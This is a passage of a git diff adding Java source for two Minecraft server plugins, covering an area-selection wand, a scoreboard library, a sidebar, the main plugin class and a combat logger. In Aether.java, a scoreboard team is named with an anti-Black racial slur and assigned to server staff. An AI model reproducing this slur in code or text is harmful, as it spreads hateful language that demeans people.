sender.sendMessage(TextComponent.toPlainText(builder.create())); + } + } +} \ No newline at end of file diff --git a/Bunkers/src/main/java/me/redis/bunkers/wand/Wand.java b/Bunkers/src/main/java/me/redis/bunkers/wand/Wand.java new file mode 100644 index 0000000..41d0a2d --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/wand/Wand.java @@ -0,0 +1,30 @@ +package me.redis.bunkers.wand; + +import lombok.Getter; +import lombok.Setter; +import me.redis.bunkers.Bunkers; +import me.redis.bunkers.utils.ItemBuilder; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.Location; +import org.bukkit.Material; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.Listener; +import org.bukkit.event.block.Action; +import org.bukkit.event.player.PlayerInteractEvent; + +@Getter +public class Wand { + @Setter private Location firstLocation; + @Setter private Location secondLocation; + + public Wand(Player player) { + if (Bunkers.getPlugin().getWandManager().getWand(player) != null) { + player.getInventory().addItem(new ItemBuilder(Material.GOLD_HOE).setDisplayName("&6Area wand").create()); + } else { + player.getInventory().addItem(new ItemBuilder(Material.GOLD_HOE).setDisplayName("&6Area wand").create()); + Bunkers.getPlugin().getWandManager().getWands().put(player, this); + } + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/wand/WandManager.java b/Bunkers/src/main/java/me/redis/bunkers/wand/WandManager.java new file mode 100644 index 0000000..faef001 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/wand/WandManager.java @@ -0,0 +1,81 @@ +package me.redis.bunkers.wand; + +import lombok.Getter; +import me.redis.bunkers.Bunkers; +import me.redis.bunkers.profiles.Profile; +import me.redis.bunkers.protocol.ClaimPillar; +import me.redis.bunkers.utils.ItemBuilder; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.Material; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.Listener; +import org.bukkit.event.block.Action; +import org.bukkit.event.player.PlayerCommandPreprocessEvent; +import org.bukkit.event.player.PlayerInteractEvent; +import org.bukkit.inventory.ItemStack; + +import java.util.HashMap; +import java.util.Map; + +public class WandManager implements Listener { + @Getter private Map wands = new HashMap<>(); + private ItemStack wand = new ItemBuilder(Material.GOLD_HOE).setDisplayName("&6Area wand").create(); + + public WandManager() { + Bukkit.getPluginManager().registerEvents(this, Bunkers.getPlugin()); + } + + public Wand getWand(Player player) { + return wands.get(player); + } + + @EventHandler + public void onClick(PlayerInteractEvent event) { + Player player = event.getPlayer(); + Action action = event.getAction(); + Profile profile = Bunkers.getPlugin().getProfileManager().getProfile(player); + + if (getWand(player) != null && event.getPlayer().getItemInHand() != null && event.getPlayer().getItemInHand().isSimilar(wand)) { + if (action == Action.LEFT_CLICK_BLOCK) { + getWand(player).setFirstLocation(event.getClickedBlock().getLocation()); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eYou have selected '&7" + getWand(player).getFirstLocation().getBlockX() + ", " + getWand(player).getFirstLocation().getBlockY() + ", " + getWand(player).getFirstLocation().getBlockZ() + "&e' as your first location.")); + + if (profile.getFirstPillar() != null) { + profile.getFirstPillar().removePillar(); + profile.setFirstPillar(null); + } + + ClaimPillar pillar = new ClaimPillar(player, Material.ENDER_STONE, (byte) 0, event.getClickedBlock().getLocation()); + pillar.sendPillar(); + profile.setFirstPillar(pillar); + + event.setCancelled(true); + } else if (action == Action.RIGHT_CLICK_BLOCK) { + getWand(player).setSecondLocation(event.getClickedBlock().getLocation()); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eYou have selected '&7" + getWand(player).getSecondLocation().getBlockX() + ", " + getWand(player).getSecondLocation().getBlockY() + ", " + getWand(player).getSecondLocation().getBlockZ() + "&e' as your second location.")); + + if (profile.getSecondPillar() != null) { + profile.getSecondPillar().removePillar(); + profile.setSecondPillar(null); + } + + ClaimPillar pillar = new ClaimPillar(player, Material.ENDER_STONE, (byte) 0, event.getClickedBlock().getLocation()); + pillar.sendPillar(); + profile.setSecondPillar(pillar); + + event.setCancelled(true); + } + } + } + + @EventHandler + public void onCommand(PlayerCommandPreprocessEvent event) { + if (event.getMessage().equalsIgnoreCase("/wand")) { + new Wand(event.getPlayer()); + event.getPlayer().sendMessage(ChatColor.YELLOW + "You have been given a wand."); + event.setCancelled(true); + } + } +} diff --git a/Bunkers/src/main/resources/config.yml b/Bunkers/src/main/resources/config.yml new file mode 100644 index 0000000..4900eac --- /dev/null +++ b/Bunkers/src/main/resources/config.yml @@ -0,0 +1,11 @@ +#################### +DATABASE: + AUTH: + HOST: "127.0.0.1" + PORT: 27017 + NAME: "Bunkers" + COLLECTIONS: + INFORMATION: "Information" + TEAMS: "Teams" + PROFILES: "Profiles" +#################### \ No newline at end of file diff --git a/Bunkers/src/main/resources/plugin.yml b/Bunkers/src/main/resources/plugin.yml new file mode 100644 index 0000000..cb47b77 --- /dev/null +++ b/Bunkers/src/main/resources/plugin.yml @@ -0,0 +1,3 @@ +name: Bunkers +main: me.redis.bunkers.Bunkers +version: 1.0 \ No newline at end of file diff --git a/FreeForAll/pom.xml b/FreeForAll/pom.xml new file mode 100644 index 0000000..7b5b6b5 --- /dev/null +++ b/FreeForAll/pom.xml @@ -0,0 +1,73 @@ + + + 4.0.0 + me.javaee.ffa + FreeForAll + 1.0-SNAPSHOT + + + + org.apache.maven.plugins + maven-compiler-plugin + + 1.8 + 1.8 + UTF-8 + + + + + + + + net.techcable.tacospigot + api + 1.8.8-R0.2-SNAPSHOT + + + net.techcable.tacospigot + server + 1.8.8-R0.2-SNAPSHOT + + + org.mongodb + mongo-java-driver + 3.4.0 + + + com.comphenix.protocol + ProtocolLib + 4.4.0-SNAPSHOT + + + com.google.code.gson + gson + 2.8.2 + + + org.projectlombok + lombok + 1.16.18 + + + \ No newline at end of file diff --git a/FreeForAll/src/main/java/com/bizarrealex/aether/Aether.java b/FreeForAll/src/main/java/com/bizarrealex/aether/Aether.java new file mode 100644 index 0000000..b003da0 --- /dev/null +++ b/FreeForAll/src/main/java/com/bizarrealex/aether/Aether.java @@ -0,0 +1,243 @@ +package com.bizarrealex.aether; + +import me.javaee.ffa.events.BoardCreateEvent; +import com.bizarrealex.aether.scoreboard.Board; +import com.bizarrealex.aether.scoreboard.BoardAdapter; +import com.bizarrealex.aether.scoreboard.BoardEntry; +import lombok.Getter; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.EventPriority; +import org.bukkit.event.Listener; +import org.bukkit.event.player.PlayerJoinEvent; +import org.bukkit.event.player.PlayerQuitEvent; +import org.bukkit.plugin.java.JavaPlugin; +import org.bukkit.scheduler.BukkitRunnable; +import org.bukkit.scoreboard.*; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.Iterator; +import java.util.List; + +import static com.bizarrealex.aether.AetherOptions.defaultOptions; + +/** + * TODO: Add documentation to methods, etc + * TODO: Fix inconsistent cooldown scores + * TODO: Finish other board formats + */ + +public class Aether implements Listener { + @Getter private JavaPlugin plugin; + @Getter private AetherOptions options; + @Getter BoardAdapter adapter; + + public Aether(JavaPlugin plugin, BoardAdapter adapter, AetherOptions options) { + this.options = options; + this.plugin = plugin; + + Bukkit.getPluginManager().registerEvents(this, plugin); + + setAdapter(adapter); + run(); + } + + public Aether(JavaPlugin plugin, BoardAdapter adapter) { + this(plugin, adapter, defaultOptions()); + } + + public Aether(JavaPlugin plugin) { + this(plugin, null, defaultOptions()); + } + + private void run() { + new BukkitRunnable() { + public void run() { + if (adapter == null) return; + + for (Player player : Bukkit.getOnlinePlayers()) { + Board board = Board.getByPlayer(player); + if (board != null) { + List scores = adapter.getScoreboard(player, board, board.getCooldowns()); + List translatedScores = new ArrayList<>(); + + if (scores == null) { + + if (!board.getEntries().isEmpty()) { + + for (BoardEntry boardEntry : board.getEntries()) { + boardEntry.remove(); + } + + board.getEntries().clear(); + } + + continue; + } + + for (String line : scores) { + translatedScores.add(ChatColor.translateAlternateColorCodes('&', line)); + } + + if (!options.scoreDirectionDown()) { + Collections.reverse(scores); + } + + Scoreboard scoreboard = board.getScoreboard(); + Objective objective = board.getObjective(); + + if (!(objective.getDisplayName().equals(adapter.getTitle(player)))) { + objective.setDisplayName(ChatColor.translateAlternateColorCodes('&', adapter.getTitle(player))); + } + + outer: + for (int i = 0; i < scores.size(); i++) { + String text = scores.get(i); + int position; + if (options.scoreDirectionDown()) { + position = 15 - i; + } else { + position = i + 1; + } + + Iterator iterator = new ArrayList<>(board.getEntries()).iterator(); + while (iterator.hasNext()) { + BoardEntry boardEntry = iterator.next(); + Score score = objective.getScore(boardEntry.getKey()); + + if (score != null && boardEntry.getText().equals(ChatColor.translateAlternateColorCodes('&', text))) { + if (score.getScore() == position) { + continue outer; + } + } + } + + int positionToSearch = options.scoreDirectionDown() ? 15 - position : position - 1; + + iterator = board.getEntries().iterator(); + while (iterator.hasNext()) { + BoardEntry boardEntry = iterator.next(); + int entryPosition = scoreboard.getObjective(DisplaySlot.SIDEBAR).getScore(boardEntry.getKey()).getScore(); + + if (!options.scoreDirectionDown()) { + if (entryPosition > scores.size()) { + iterator.remove(); + boardEntry.remove(); + } + } + + } + + BoardEntry entry = board.getByPosition(positionToSearch); + if (entry == null) { + new BoardEntry(board, text).send(position); + } else { + entry.setText(text).setup().send(position); + } + + if (board.getEntries().size() > scores.size()) { + iterator = board.getEntries().iterator(); + while (iterator.hasNext()) { + BoardEntry boardEntry = iterator.next(); + if ((!translatedScores.contains(boardEntry.getText())) || Collections.frequency(board.getBoardEntriesFormatted(), boardEntry.getText()) > 1) { + iterator.remove(); + boardEntry.remove(); + } + } + } + } + + player.setScoreboard(scoreboard); + updateTablist(player); + } + } + } + }.runTaskTimerAsynchronously(plugin, 20L, 3L); + } + + public void setAdapter(BoardAdapter adapter) { + this.adapter = adapter; + for (Player player : Bukkit.getOnlinePlayers()) { + Board board = Board.getByPlayer(player); + + if (board != null) { + Board.getBoards().remove(board); + } + + Bukkit.getPluginManager().callEvent(new BoardCreateEvent(new Board(player, this, options), player)); + } + } + + @EventHandler + public void onPlayerJoinEvent(PlayerJoinEvent event) { + if (Board.getByPlayer(event.getPlayer()) == null) { + Bukkit.getPluginManager().callEvent(new BoardCreateEvent(new Board(event.getPlayer(), this, options), event.getPlayer())); + } + + event.getPlayer().setMaximumNoDamageTicks(19); + setHealthAndList(event.getPlayer()); + } + + private static Team getExistingOrCreateNewTeam(String string, Scoreboard scoreboard, ChatColor prefix) { + Team toReturn = scoreboard.getTeam(string); + + if (toReturn == null) { + toReturn = scoreboard.registerNewTeam(string); + toReturn.setPrefix(prefix + ""); + } + + return toReturn; + } + + private static void updateTablist(Player target) { + Team enemy = getExistingOrCreateNewTeam("enemy", Board.getByPlayer(target).getScoreboard(), ChatColor.RED); + + Team nigger = getExistingOrCreateNewTeam("nigger", Board.getByPlayer(target).getScoreboard(), ChatColor.LIGHT_PURPLE); + nigger.setPrefix(ChatColor.LIGHT_PURPLE + "โœถ "); + + Team donator = getExistingOrCreateNewTeam("donator", Board.getByPlayer(target).getScoreboard(), ChatColor.GOLD); + + for (Player online : Bukkit.getOnlinePlayers()) { + if (online.hasPermission("group.owner") || online.hasPermission("group.developer") || online.getName().equalsIgnoreCase("JavaEE")) { + if (!(nigger.hasEntry(online.getName()))) { + nigger.addEntry(online.getName()); + } + } else if (online.hasPermission("batman.rank.donator")) { + if (!(donator.hasEntry(online.getName()))) { + donator.addEntry(online.getName()); + } + } else { + if (!(enemy.hasEntry(online.getName()))) { + enemy.addEntry(online.getName()); + } + } + } + } + + public void setHealthAndList(Player player) { + if (Board.getByPlayer(player).getScoreboard() != null) { + Scoreboard scoreboard = Board.getByPlayer(player).getScoreboard(); + + if (scoreboard.getObjective("namehealth") == null) { + scoreboard.registerNewObjective("namehealth", "health"); + } + + Objective objective = scoreboard.getObjective("namehealth"); + + objective.setDisplaySlot(DisplaySlot.BELOW_NAME); + objective.setDisplayName(ChatColor.DARK_RED + " โค"); + } + } + + @EventHandler(priority = EventPriority.HIGHEST) + public void onPlayerQuitEvent(PlayerQuitEvent event) { + Board board = Board.getByPlayer(event.getPlayer()); + if (board != null) { + Board.getBoards().remove(board); + } + } + +} diff --git a/FreeForAll/src/main/java/com/bizarrealex/aether/AetherOptions.java b/FreeForAll/src/main/java/com/bizarrealex/aether/AetherOptions.java new file mode 100644 index 0000000..cf43197 --- /dev/null +++ b/FreeForAll/src/main/java/com/bizarrealex/aether/AetherOptions.java @@ -0,0 +1,21 @@ +package com.bizarrealex.aether; + +import lombok.Getter; +import lombok.Setter; +import lombok.experimental.Accessors; + +@Getter +@Setter +@Accessors(chain = true, fluent = true) +public class AetherOptions { + + static AetherOptions defaultOptions() { + return new AetherOptions() + .hook(false) + .scoreDirectionDown(false); + } + + private boolean hook; + private boolean scoreDirectionDown; + +} diff --git a/FreeForAll/src/main/java/com/bizarrealex/aether/scoreboard/Board.java b/FreeForAll/src/main/java/com/bizarrealex/aether/scoreboard/Board.java new file mode 100644 index 0000000..6000428 --- /dev/null +++ b/FreeForAll/src/main/java/com/bizarrealex/aether/scoreboard/Board.java @@ -0,0 +1,141 @@ +package com.bizarrealex.aether.scoreboard; + +import com.bizarrealex.aether.Aether; +import com.bizarrealex.aether.AetherOptions; +import com.bizarrealex.aether.scoreboard.cooldown.BoardCooldown; +import lombok.Getter; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.entity.Player; +import org.bukkit.scoreboard.DisplaySlot; +import org.bukkit.scoreboard.Objective; +import org.bukkit.scoreboard.Scoreboard; + +import java.util.*; + +public class Board { + + private static Set boards = new HashSet<>(); + + @Getter + private Scoreboard scoreboard; + @Getter + private Player player; + @Getter + private Objective objective; + @Getter + private Set keys; + @Getter + private List entries; + private Set cooldowns; + private final Aether aether; + private final AetherOptions options; + + public Board(Player player, Aether aether, AetherOptions options) { + this.player = player; + this.aether = aether; + this.options = options; + this.keys = new HashSet<>(); + this.cooldowns = new HashSet<>(); + this.entries = new ArrayList<>(); + + setup(); + } + + private void setup() { + if (options.hook() && !player.getScoreboard().equals(Bukkit.getScoreboardManager().getMainScoreboard())) { + scoreboard = player.getScoreboard(); + } else { + scoreboard = Bukkit.getScoreboardManager().getNewScoreboard(); + } + + objective = scoreboard.registerNewObjective("glaedr_is_shit", "dummy"); + objective.setDisplaySlot(DisplaySlot.SIDEBAR); + + if (aether.getAdapter() != null) { + objective.setDisplayName(ChatColor.translateAlternateColorCodes('&', aether.getAdapter().getTitle(player))); + } else { + objective.setDisplayName("Default Title"); + } + + boards.add(this); + } + + public String getNewKey(BoardEntry entry) { + + for (ChatColor color : ChatColor.values()) { + String colorText = color + "" + ChatColor.WHITE; + + if (entry.getText().length() > 16) { + String sub = entry.getText().substring(0, 16); + colorText = colorText + ChatColor.getLastColors(sub); + } + + if (!keys.contains(colorText)) { + keys.add(colorText); + return colorText; + } + } + + throw new IndexOutOfBoundsException("No more keys available!"); + } + + public List getBoardEntriesFormatted() { + List toReturn = new ArrayList<>(); + + for (BoardEntry entry : new ArrayList<>(entries)) { + toReturn.add(entry.getText()); + } + + return toReturn; + } + + public BoardEntry getByPosition(int position) { + int i = 0; + + for (BoardEntry board : entries) { + if (i == position) { + return board; + } + i++; + } + + return null; + } + + public BoardCooldown getCooldown(String id) { + for (BoardCooldown cooldown : getCooldowns()) { + if (cooldown.getId().equals(id)) { + return cooldown; + } + } + + return null; + } + + public Set getCooldowns() { + Iterator iterator = cooldowns.iterator(); + + while (iterator.hasNext()) { + BoardCooldown cooldown = iterator.next(); + if (System.currentTimeMillis() >= cooldown.getEnd()) { + iterator.remove(); + } + } + + return cooldowns; + } + + public static Board getByPlayer(Player player) { + for (Board board : boards) { + if (board.getPlayer().getName().equals(player.getName())) { + return board; + } + } + return null; + } + + public static Set getBoards() { + return boards; + } +} diff --git a/FreeForAll/src/main/java/com/bizarrealex/aether/scoreboard/BoardAdapter.java b/FreeForAll/src/main/java/com/bizarrealex/aether/scoreboard/BoardAdapter.java new file mode 100644 index 0000000..4d0b3d0 --- /dev/null +++ b/FreeForAll/src/main/java/com/bizarrealex/aether/scoreboard/BoardAdapter.java @@ -0,0 +1,14 @@ +package com.bizarrealex.aether.scoreboard; + +import com.bizarrealex.aether.scoreboard.cooldown.BoardCooldown; +import org.bukkit.entity.Player; + +import java.util.List; +import java.util.Set; + +public interface BoardAdapter { + + String getTitle(Player player); + List getScoreboard(Player player, Board board, Set cooldowns); + +} diff --git a/FreeForAll/src/main/java/com/bizarrealex/aether/scoreboard/BoardEntry.java b/FreeForAll/src/main/java/com/bizarrealex/aether/scoreboard/BoardEntry.java new file mode 100644 index 0000000..75335d1 --- /dev/null +++ b/FreeForAll/src/main/java/com/bizarrealex/aether/scoreboard/BoardEntry.java @@ -0,0 +1,91 @@ +package com.bizarrealex.aether.scoreboard; + +import lombok.Getter; +import lombok.Setter; +import lombok.experimental.Accessors; +import org.apache.commons.lang.StringUtils; +import org.bukkit.ChatColor; +import org.bukkit.scoreboard.Objective; +import org.bukkit.scoreboard.Score; +import org.bukkit.scoreboard.Scoreboard; +import org.bukkit.scoreboard.Team; + +@Accessors(chain = true) +public class BoardEntry { + + @Getter + private Board board; + @Getter + @Setter + private String text; + @Getter + private String originalText; + @Getter + private String key; + @Getter + private Team team; + + public BoardEntry(Board board, String text) { + this.board = board; + this.text = text; + this.originalText = text; + this.key = board.getNewKey(this); + + setup(); + } + + public BoardEntry setup() { + Scoreboard scoreboard = board.getScoreboard(); + + text = ChatColor.translateAlternateColorCodes('&', text); + + String teamName = key; + if (teamName.length() > 16) { + teamName = teamName.substring(0, 16); + } + + if (scoreboard.getTeam(teamName) != null) { + team = scoreboard.getTeam(teamName); + } else { + team = scoreboard.registerNewTeam(teamName); + } + + if (!(team.getEntries().contains(key))) { + team.addEntry(key); + } + + if (!(board.getEntries().contains(this))) { + board.getEntries().add(this); + } + + return this; + } + + public BoardEntry send(int position) { + Objective objective = board.getObjective(); + + if (text.length() <= 16) { + team.setPrefix(text); + team.setSuffix(""); + } else { + String left = text.substring(0, 16), right = ""; + if (left.endsWith("\u00a7")) { + left = left.substring(0, left.length() - 1); + right = "\u00a7"; + } + right = StringUtils.left(ChatColor.getLastColors(left) + right + text.substring(16), 16); + team.setPrefix(left); + team.setSuffix(right); + } + Score score = objective.getScore(key); + score.setScore(position); + + return this; + } + + public void remove() { + board.getKeys().remove(key); + board.getScoreboard().resetScores(key); + } + +} diff --git a/FreeForAll/src/main/java/com/bizarrealex/aether/scoreboard/cooldown/BoardCooldown.java b/FreeForAll/src/main/java/com/bizarrealex/aether/scoreboard/cooldown/BoardCooldown.java new file mode 100644 index 0000000..b9e367d --- /dev/null +++ b/FreeForAll/src/main/java/com/bizarrealex/aether/scoreboard/cooldown/BoardCooldown.java @@ -0,0 +1,43 @@ +package com.bizarrealex.aether.scoreboard.cooldown; + +import com.bizarrealex.aether.scoreboard.Board; +import lombok.Getter; +import org.apache.commons.lang.time.DurationFormatUtils; + +import java.text.DecimalFormat; + +public class BoardCooldown { + + private static final DecimalFormat SECONDS_FORMATTER = new DecimalFormat("#0.0"); + + @Getter + private final Board board; + @Getter + private final String id; + @Getter + private final double duration; + @Getter + private final long end; + + public BoardCooldown(Board board, String id, double duration) { + this.board = board; + this.id = id; + this.duration = duration; + this.end = (long) (System.currentTimeMillis() + (duration * 1000)); + + board.getCooldowns().add(this); + } + + public String getFormattedString(BoardFormat format) { + if (format == null) throw new NullPointerException(); + if (format == BoardFormat.SECONDS) { + return SECONDS_FORMATTER.format(((end - System.currentTimeMillis()) / 1000.0f)); + } else { + return DurationFormatUtils.formatDuration(end - System.currentTimeMillis(), "mm:ss"); + } + } + + public void cancel() { + board.getCooldowns().remove(this); + } +} diff --git a/FreeForAll/src/main/java/com/bizarrealex/aether/scoreboard/cooldown/BoardFormat.java b/FreeForAll/src/main/java/com/bizarrealex/aether/scoreboard/cooldown/BoardFormat.java new file mode 100644 index 0000000..bda759d --- /dev/null +++ b/FreeForAll/src/main/java/com/bizarrealex/aether/scoreboard/cooldown/BoardFormat.java @@ -0,0 +1,7 @@ +package com.bizarrealex.aether.scoreboard.cooldown; + +public enum BoardFormat { + SECONDS, + MINUTES, + HOURS +} diff --git a/FreeForAll/src/main/java/com/bizarrealex/aether/sidebars/FFASidebar.java b/FreeForAll/src/main/java/com/bizarrealex/aether/sidebars/FFASidebar.java new file mode 100644 index 0000000..c5bcaa2 --- /dev/null +++ b/FreeForAll/src/main/java/com/bizarrealex/aether/sidebars/FFASidebar.java @@ -0,0 +1,81 @@ +package com.bizarrealex.aether.sidebars; + +import com.bizarrealex.aether.scoreboard.Board; +import com.bizarrealex.aether.scoreboard.BoardAdapter; +import com.bizarrealex.aether.scoreboard.cooldown.BoardCooldown; +import me.javaee.ffa.FFA; +import me.javaee.ffa.profiles.Profile; +import me.javaee.ffa.profiles.status.PlayerStatus; +import me.javaee.ffa.utils.BukkitUtils; +import me.javaee.ffa.utils.DurationFormatter; +import org.apache.commons.lang.WordUtils; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.entity.Player; +import org.bukkit.event.Listener; +import org.bukkit.plugin.java.JavaPlugin; + +import java.text.DecimalFormat; +import java.util.ArrayList; +import java.util.List; +import java.util.Set; +import java.util.UUID; + +public class FFASidebar implements BoardAdapter, Listener { + public FFASidebar(JavaPlugin plugin) { + Bukkit.getPluginManager().registerEvents(this, plugin); + } + + private DecimalFormat decimalFormat = new DecimalFormat("#.##"); + + @Override + public String getTitle(Player player) { + return "&6&lSilex &c[Free For All]"; + } + + @Override + public List getScoreboard(Player player, Board board, Set cooldowns) { + List strings = new ArrayList<>(); + Profile profile = FFA.getPlugin().getProfileManager().getProfile(player); + + double kills = profile.getKills(); + double deaths = profile.getDeaths(); + double kdr = kills / deaths; + + strings.add(ChatColor.translateAlternateColorCodes('&', "&7&m----------------------&r")); + + if (FFA.getPlugin().getInformationManager().getInformation().isKothStarted()) { + strings.add(ChatColor.translateAlternateColorCodes('&', "&6Koth")); + strings.add(ChatColor.translateAlternateColorCodes('&', " &7ยป &eCoordinates &7(" + FFA.getPlugin().getInformationManager().getInformation().getKothCuboid().getCenter().getBlockX() + ", " + FFA.getPlugin().getInformationManager().getInformation().getKothCuboid().getCenter().getBlockZ() + ")")); + strings.add(ChatColor.translateAlternateColorCodes('&', " &7ยป &eRemaining&7: &f" + BukkitUtils.niceTime(FFA.getPlugin().getKoth().getCapSeconds(), false))); + strings.add(ChatColor.translateAlternateColorCodes('&', "&7&m----------------------")); + } + + strings.add(ChatColor.translateAlternateColorCodes('&', "&6Kills&7: &f" + profile.getKills())); + strings.add(ChatColor.translateAlternateColorCodes('&', "&6Deaths&7: &f" + profile.getDeaths())); + if (profile.getKillstreak() > 0) { + strings.add(ChatColor.translateAlternateColorCodes('&', "&6Killstreak&7: &f" + profile.getKillstreak())); + } + strings.add(ChatColor.translateAlternateColorCodes('&', "&6KDR&7: &f" + (kills == 0 && deaths == 0 ? "N/A" : new DecimalFormat("#.##").format(kdr)))); + strings.add(ChatColor.translateAlternateColorCodes('&', "&7&m----------------------")); + if (FFA.getPlugin().getInformationManager().getInformation().isRecording()) { + strings.add(ChatColor.translateAlternateColorCodes('&', "&eAddress&7: &fsilexpvp.net")); + strings.add(ChatColor.translateAlternateColorCodes('&', "&7&m----------------------")); + } + + if (FFA.getPlugin().getTimerManager().getTeleportTimer().getRemaining(player) > 0) { + strings.add(ChatColor.translateAlternateColorCodes('&', "&c&lTeleportation&7: &f" + DurationFormatter.getRemaining(FFA.getPlugin().getTimerManager().getTeleportTimer().getRemaining(player), true))); + strings.add(ChatColor.translateAlternateColorCodes('&', "&7&m----------------------")); + } + + if (profile.getPlayerStatus() == PlayerStatus.STAFF) { + strings.add(ChatColor.translateAlternateColorCodes('&', " &7โ— &eVanished&7: &f" + (profile.isVanished() ? "true" : "false"))); + strings.add(ChatColor.translateAlternateColorCodes('&', "&7&m----------------------")); + } + + if (strings.size() == 2) { + return null; + } + return strings; + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/FFA.java b/FreeForAll/src/main/java/me/javaee/ffa/FFA.java new file mode 100644 index 0000000..c203398 --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/FFA.java @@ -0,0 +1,92 @@ +package me.javaee.ffa; + +import com.bizarrealex.aether.Aether; +import com.bizarrealex.aether.sidebars.FFASidebar; +import com.mongodb.MongoClient; +import com.mongodb.client.MongoCollection; +import com.mongodb.client.MongoDatabase; +import lombok.Getter; +import me.javaee.ffa.combatlogger.CombatLoggerManager; +import me.javaee.ffa.commands.ResetKitCommand; +import me.javaee.ffa.commands.SaveKitCommand; +import me.javaee.ffa.information.InformationManager; +import me.javaee.ffa.koth.Koth; +import me.javaee.ffa.listeners.DeathMessageListener; +import me.javaee.ffa.listeners.PlayerListeners; +import me.javaee.ffa.listeners.WorldListeners; +import me.javaee.ffa.profiles.ProfileManager; +import me.javaee.ffa.profiles.tops.TopsManager; +import me.javaee.ffa.staff.StaffManager; +import me.javaee.ffa.timer.TimerManager; +import me.javaee.ffa.utils.FreeForAllDater; +import me.javaee.ffa.utils.LocationUtils; +import me.javaee.ffa.utils.command.CommandRegistrer; +import me.javaee.ffa.wand.WandManager; +import org.bukkit.Bukkit; + +import org.bukkit.World; +import org.bukkit.entity.Entity; +import org.bukkit.event.Listener; +import org.bukkit.plugin.java.JavaPlugin; + +import java.util.stream.Stream; + +@Getter +public class FFA extends JavaPlugin { + @Getter private static FFA plugin; + private MongoClient mongoClient; + private MongoDatabase mongoDatabase; + private MongoCollection profilesCollection; + private ProfileManager profileManager; + private MongoCollection informationCollection; + private InformationManager informationManager; + private WandManager wandManager; + private Koth koth; + private TimerManager timerManager; + private StaffManager staffManager; + private TopsManager topsManager; + // private FreeForAllDater dater; + + @Override + public void onEnable() { + plugin = this; + + /* Initialize Mongo first*/ + mongoClient = new MongoClient("127.0.0.1", 27017); + mongoDatabase = mongoClient.getDatabase("FreeForAll"); + + profilesCollection = mongoDatabase.getCollection("Profiles"); + profileManager = new ProfileManager(); + + informationCollection = mongoDatabase.getCollection("Information"); + informationManager = new InformationManager(); + /* Initialize Mongo first*/ + + wandManager = new WandManager(); + koth = new Koth(); + timerManager = new TimerManager(this); + staffManager = new StaffManager(); + + new CombatLoggerManager(this); + new Aether(this, new FFASidebar(this)); + + registerListeners(new WorldListeners(), new PlayerListeners(), new DeathMessageListener(this)); + new CommandRegistrer(); + topsManager = new TopsManager(); + + for (Entity entity : Bukkit.getWorld("MAPFFA").getEntities()) { + entity.remove(); + } + + // dater = new FreeForAllDater(this); + } + + @Override + public void onDisable() { + // dater.update(); + } + + public void registerListeners(Listener... listeners) { + Stream.of(listeners).forEach(listener -> Bukkit.getPluginManager().registerEvents(listener, this)); + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/combatlogger/CombatLogger.java b/FreeForAll/src/main/java/me/javaee/ffa/combatlogger/CombatLogger.java new file mode 100644 index 0000000..e6139ce --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/combatlogger/CombatLogger.java @@ -0,0 +1,49 @@ +package me.javaee.ffa.combatlogger; + +import lombok.Getter; +import org.bukkit.ChatColor; +import org.bukkit.entity.EntityType; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.entity.Villager; +import org.bukkit.inventory.ItemStack; +import org.bukkit.potion.PotionEffect; +import org.bukkit.potion.PotionEffectType; + +import java.util.UUID; + +public class CombatLogger { + @Getter private final LivingEntity entity; + @Getter private final UUID uniqueId; + @Getter private final String name; + @Getter private final ItemStack[] contents, armor; + + public CombatLogger(Player player) { + uniqueId = player.getUniqueId(); + name = player.getName(); + + contents = player.getInventory().getContents(); + armor = player.getInventory().getArmorContents(); + + entity = (LivingEntity) player.getWorld().spawnEntity(player.getLocation(), EntityType.VILLAGER); + entity.setMaxHealth(1); + entity.setHealth(1); + entity.setFallDistance(player.getFallDistance()); + entity.setLastDamageCause(player.getLastDamageCause()); + + Villager villager = (Villager) entity; + villager.setProfession(Villager.Profession.FARMER); + villager.setAdult(); + + for (PotionEffect effect : player.getActivePotionEffects()) { + entity.addPotionEffect(effect); + } + + entity.addPotionEffect(new PotionEffect(PotionEffectType.SLOW, Integer.MAX_VALUE, 100), true); + entity.addPotionEffect(new PotionEffect(PotionEffectType.JUMP, Integer.MAX_VALUE, 100), true); + + entity.setRemoveWhenFarAway(false); + entity.setCustomName(ChatColor.RED + player.getName()); + entity.setCustomNameVisible(true); + } +} \ No newline at end of file diff --git a/FreeForAll/src/main/java/me/javaee/ffa/combatlogger/CombatLoggerManager.java b/FreeForAll/src/main/java/me/javaee/ffa/combatlogger/CombatLoggerManager.java new file mode 100644 index 0000000..388acaf --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/combatlogger/CombatLoggerManager.java @@ -0,0 +1,194 @@ +package me.javaee.ffa.combatlogger; + +import me.javaee.ffa.FFA; +import me.javaee.ffa.events.CombatLoggerDeathEvent; +import me.javaee.ffa.profiles.Profile; +import me.javaee.ffa.profiles.status.PlayerStatus; +import org.bukkit.*; +import org.bukkit.entity.Entity; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.EventPriority; +import org.bukkit.event.Listener; +import org.bukkit.event.entity.EntityDamageEvent; +import org.bukkit.event.entity.EntityDeathEvent; +import org.bukkit.event.player.PlayerInteractEntityEvent; +import org.bukkit.event.player.PlayerQuitEvent; +import org.bukkit.event.world.ChunkUnloadEvent; +import org.bukkit.inventory.ItemStack; 